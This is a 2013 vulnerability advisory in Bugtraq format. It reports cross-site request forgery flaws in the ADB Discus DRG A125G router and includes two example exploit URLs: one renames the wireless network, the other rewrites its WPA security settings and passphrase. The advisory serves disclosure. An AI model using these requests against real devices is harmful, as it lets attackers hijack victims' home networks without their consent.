ADB Discus DRG A125G Router Multiple Cross Site Request Forgery Vulnerabilities

Bugtraq ID:	63907
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 24 2013 12:00AM
Updated:	Nov 24 2013 12:00AM
Credit:	Sebastián Magof
Vulnerable:	ADB Discus DRG A125g
Not Vulnerable:

ADB Discus DRG A125G Router Multiple Cross Site Request Forgery Vulnerabilities

ADB Discus DRG A125G is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions and compromise the affected device.

ADB Discus DRG A125G Router Multiple Cross Site Request Forgery Vulnerabilities

To exploit these issues, an attacker must entice a user into visiting a malicious site.

The following example exploits are available:

http://www.example.com/wlbasic.wl?wlSsidIdx=0&wlSsid=bysmagof
http://www.example.com/wladv.wl?wlSsidIdx=0&wlHide=0&wlAuthMode=psk2&wlAuth=0&wlWep=disabled&wlWpaPsk=PASSWORDHERE&wlWpaGtkRekey=0&wlKeyBit=1&wlPreauth=1&wlWpa=tkip

ADB Discus DRG A125G Router Multiple Cross Site Request Forgery Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ADB Discus DRG A125G Router Multiple Cross Site Request Forgery Vulnerabilities

References:

• Pirelli Homepage (Pirelli)